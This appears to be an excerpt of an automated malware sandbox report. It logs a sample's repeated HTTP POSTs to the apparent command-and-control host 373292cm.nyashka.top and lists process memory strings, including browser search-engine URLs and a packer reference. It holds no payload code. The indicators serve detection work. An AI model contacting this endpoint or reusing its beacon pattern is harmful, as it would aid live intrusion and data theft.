Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 1852Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 1872Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 1872Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 1852Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 1872Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 2544Expect: 100-continue

Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: 373292cm.nyashka.top

Source: unknown

HTTP traffic detected: POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 373292cm.nyashka.topContent-Length: 344Expect: 100-continueConnection: Keep-Alive

Source: RuntimeBroker.exe, 00000011.00000002.3435800974.00000000039DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://373292cm.nyP
Source: RuntimeBroker.exe, 00000011.00000002.3435800974.00000000039DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://373292cm.nyPR
Source: RuntimeBroker.exe, 00000011.00000002.3435800974.0000000003970000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3435800974.00000000039DB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3435800974.00000000037B4000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3435800974.00000000039DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://373292cm.nyashka.top
Source: RuntimeBroker.exe, 00000011.00000002.3435800974.00000000037B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://373292cm.nyashka.top/
Source: RuntimeBroker.exe, 00000011.00000002.3435800974.0000000003CBC000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3435800974.00000000038B3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3435800974.0000000003970000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3435800974.00000000037B4000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3435800974.00000000039DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://373292cm.nyashka.top/JavascriptSecureSqlLocalTemporary.php
Source: chainPorthostCommon.exe, 00000005.00000002.2352626856.000000000319A000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3435800974.00000000037B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: loader.exe, 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmp, loader.exe, 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.enigmaprotector.com/
Source: loader.exe, 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.enigmaprotector.com/openU
Source: RuntimeBroker.exe, 00000011.00000002.3463672667.00000000149BB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013648000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.00000000145EB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013B63000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014183000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013939000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013ACB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014922000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001473A000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014552000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013E4B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014B0A000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014BA3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001421B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.00000000147D3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013DB3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001436B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014033000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013F9B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014403000.00000004.00000800.00020000.00000000.sdmp, ILsVoJuzGv.17.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: RuntimeBroker.exe, 00000011.00000002.3463672667.00000000149BB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013648000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.00000000145EB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013B63000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014183000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013939000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013ACB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014922000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001473A000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014552000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013E4B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014B0A000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014BA3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001421B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.00000000147D3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013DB3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001436B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014033000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013F9B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014403000.00000004.00000800.00020000.00000000.sdmp, ILsVoJuzGv.17.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: RuntimeBroker.exe, 00000011.00000002.3463672667.00000000149BB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013648000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.00000000145EB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013B63000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014183000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013939000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013ACB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014922000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001473A000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014552000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013E4B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014B0A000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014BA3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001421B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.00000000147D3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013DB3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001436B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014033000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013F9B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014403000.00000004.00000800.00020000.00000000.sdmp, ILsVoJuzGv.17.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: RuntimeBroker.exe, 00000011.00000002.3463672667.00000000149BB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013648000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.00000000145EB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013B63000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014183000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013939000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013ACB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014922000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001473A000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014552000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013E4B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014B0A000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014BA3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001421B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.00000000147D3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013DB3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001436B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014033000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013F9B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014403000.00000004.00000800.00020000.00000000.sdmp, ILsVoJuzGv.17.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: RuntimeBroker.exe, 00000011.00000002.3463672667.00000000149BB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013648000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.00000000145EB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013B63000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014183000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013939000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013ACB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014922000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001473A000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014552000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013E4B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014B0A000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014BA3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001421B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.00000000147D3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013DB3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001436B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014033000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013F9B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014403000.00000004.00000800.00020000.00000000.sdmp, ILsVoJuzGv.17.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: RuntimeBroker.exe, 00000011.00000002.3463672667.00000000149BB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013648000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.00000000145EB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013B63000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014183000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013939000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013ACB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014922000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001473A000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014552000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013E4B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014B0A000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014BA3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001421B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.00000000147D3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013DB3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001436B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014033000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013F9B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014403000.00000004.00000800.00020000.00000000.sdmp, ILsVoJuzGv.17.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: RuntimeBroker.exe, 00000011.00000002.3463672667.00000000149BB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013648000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.00000000145EB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013B63000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014183000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013939000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013ACB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014922000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001473A000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014552000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013E4B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014B0A000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014BA3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001421B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.00000000147D3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013DB3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001436B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014033000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013F9B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014403000.00000004.00000800.00020000.00000000.sdmp, ILsVoJuzGv.17.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
